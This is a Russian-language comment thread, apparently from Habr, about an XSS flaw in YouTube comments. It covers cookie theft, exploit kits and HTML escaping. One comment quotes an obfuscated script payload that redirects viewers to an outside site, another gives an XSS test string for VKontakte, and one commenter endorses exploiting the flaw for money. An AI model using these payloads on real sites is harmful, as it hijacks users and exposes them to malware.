Pull to refresh

Comments 81

Самое время сменить пароли, если переходили по «инфицированным» видео и воздержаться от просмотра видео на страницах youtube.com пока уязвимость не пофиксили! Что самое страшное: в страницу вполне можно внедрить (и внедряют) Javascript код с каким-нибудь cookie-сниффером. Вот так вот, одна ошибка в коде огромного портала может привести к тотальной угрозе для всех его пользователей.
UFO just landed and posted this here
У многих кстати это часть единого аккаунта гугла
UFO just landed and posted this here
Почту заводят не для того чтобы там спам держать, а для каких-то личных вещей. Личное — важно.
А нефиг почту на SaaS'ах держать ;)
UFO just landed and posted this here
Тобишь мне нужно завести трусы, чтобы чистеть зубы, когда я их почищу и начну умывать лицо — мне нужно надеть другие трусы, одену штаны — третьи, футболку — четвертныЕ, пойду покушать — пятые и так далее?
А если носки добавить?
Тобишь четвертныЕ

такдауШъ: То-бишь четвертныЕ? )))
описка по Фрейду ;)
UFO just landed and posted this here
UFO just landed and posted this here
товарищ приверженец мэйлру?
Вот если бы это предупреждение в посте перед ссылками поставили, цены бы не было =)
Насколько я знаю, авторизация у Ютуба, как и у других сервисов Гугла, проходит только на https://google.com/account, и автоиризационные куки с ютуба не упрешь, а сессионная кука, наверно, быстро сдохнет, и теоретически мождет быть привязана к Ip адресу.
Неприятно, если через твой аккаунт зальют ЦП и заблокируют учетную запись во всех сервисах гугла.
Там стоит HttpOnly кука, так что пофиг.
а где же ссылка на нить обсуждения? ;)
PS в массы уязвимости запустили на 4chan
UFO just landed and posted this here
Зачем же так грубо, а линк я дал, так как там больше примеров, следовательно яснее будет что за уязвимость, что прохдит что нет. И не надо пробовать, уже все за тебя испытали.
Наткнулся на это 5 минут назад.
UFO just landed and posted this here
Ну, спереть пароли-куки-пр. через iframe нельзя.
Зато можно поставить связку эксплоитов, а на популярных роликах трафик очень большой.
Троянов часто через фреймы раздают.
Есть очень много партнерок, которые покупают такой трафик.
Думаю на ютубе трафика много :)
UFO just landed and posted this here
А если у меня линукс? Я не с подковыркой спрашиваю, просто интересно, чисто теоретически. Куки то оно понятно, а вот трояны пока что не для всех ведь делают?
Линукс не важен.
Ой да ладно вам :)
Ещё никто не отменял сплоиты под программмы для линукса. Тут дело даже не в ОС, а в том, какой софт вы используйте.
Если не с подковыркой, то я с удовольствием отвечаю на Ваш вопрос.
Ботнеты можно на сотовых телефонах, и на тостерах и холодильниках создать, что уж говорить про устройства где установлена никсоподобная ОС.
Руткиты существуют под многие ОС. Вполне возможно, с ростом популярности Убунты (это для примера) появятся с публичных связках сплоиты для получения рута, а там уже и троян не плохо будет себя чувствовать.
Всё дело времени :)
Все люди ошибаются.
Все что сделано — можно сломать.
Чем проще — тем сложнее.
Первое, что пришло в голову)
UFO just landed and posted this here
«Комментарии к этому видео скрыты в соответствии с настройками безопасного режима. Показать скрытые комментарии „
Оперативно видимо работают.
не пофиксили. Просто скрыли комментарии
У меня никаких надписей красным нет. Камменты с кодом видны. :)
Красных надписей _уже_ никто не видит
Просто кто-то из работников Google читает хабр или двач :)
Наверное, им кто-то просто сообщил в техподдержку. И я считаю, что она у них круглосуточна :)
КО?
а че такое двач? мой коммент из за этого заминусовали? м
да на многих крупных проектах есть XSS уязвимости.
Для примера, не очень опасный xss, Вконтакте — загрузка аудиофайлов.
Если в свойствах мп3 в поле «Исполнитель» вписать '+alert+' и загрузить — выскочит алерт.
Может кто-нибудь объяснить, почему это возможно? Разве YouTube позволяет вставлять в комментарии какие-либо теги (bb или html)? Если нет, то почему они просто не заменяет все html символы на спец. коды?
Видимо вся соль в IF_HTML_FUNCTION?
Каким то образом ломается вырезалка html
Если заменять знаки <> на их HTML сущности, то ничего вырезать не надо. Не понимаю, почему зачастую предпочитают вырезать теги.
чтобы оставить чистый текст, очевидно.
Чего за минуса? :)

Это же очевиндо зачем вырезают html-сущности в тех местах, где их нельзя использовать.

Если человек напишет какой нибудь комментарий и использует в нем всякие и еще 100500 тегов, обычному человеку такой текст прочитать в мешанине тегов если просто заменить < и > на < &gt будет сложно.

Если же вырезать html-сущености совсем то останется прсто чистый неформатированный текст, который будет удобен для чтения
Посмотрим со стороны пользователя:
Я хочу видеть свое сообщение так, как я его написал. Почему мне не дают писать сообщения так, как я хочу? Безопасность безопасностью, а палки в колеса пользователю вставлять не надо.
Если в комментарии стопицот тегов, то зачем его читать? Если бы автор сообщения хотел донести свою мысль, он бы не стал «обфусцировать» свой коммент.

P.S. Минусовал не я.
ну там где нельзя использовать html обычно прямо пишут что там нельзя использовать html и => весь html вырезается.

Мне кажется это нормально. Если есть желание вставить какой-то html-код в сообщение, то для этого есть специальные теги
<pre>
А если я хочу написать HTML код обычным сообщением, мне что, заменять символы <> на сущности? А если и амперсанд заменяется? Если нет никакого форматирования сообщений, они должны отображаться именно так, как написаны.
А я бы не палил эту тему в паблик а использовал ее по максимуму для выжима бабла этой вкусной темы. И к черту этику и всякие бла-бла-бла о морали.
А потом удивляемся =)
откуда знаете, что по максимуму уже не выжали из этой вкусной темы? )
или, возможно, эта вкусная тема лишь отвлекающий маневр от какой-нибудь другое, еще более вкусной темы
Все равно бы заметили, если делать это в промышленных масштабах. На дваче уже и так за пару часов много чего успели попробовать — даже дорвейщики подключались и похоже не безуспешно для себя… А в целом легион постарался на славу )) img408.imageshack.us/img408/1415/1278252932293.png
Редирект работал успешно. Вот вариант кода редиректа на румынских хацкеров:
<script>Zbody onLoad=”document.write(‘<script>window.location = 
String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 
119, 119, 46, 105, 110, 115, 101, 99, 117, 114, 105, 116,
121, 46, 114, 111, 47);</script>’);”;
Почитайте Кысь.
Вы считаете, такая уязвимость у такого сервиса может продержаться долго, даже если её не палить? Точнее, если её «пытаться» не палить?
профиксили уже. вырезают автоматически тег со словом script

как выглядела проблема вживую можно посмотреть здесь — там видео есть
Интерестно, почему ролик на ютуб не залили. Было бы весело)
Выложите на зеркало, пожалуйста.
Пофиксили уже =(
А я хотел пакмана пустить побегать =(
UFO just landed and posted this here
хы, gооgle.cоm.is.hоsted.оn.prоfithоsting.net, это я еще в 2007 делал, забыл уже… :)
Тоже использовал noscript, но ютуб у меня в нем был разрешен…
Возможно и неследие от создателей сервиса.
Sign up to leave a comment.

Articles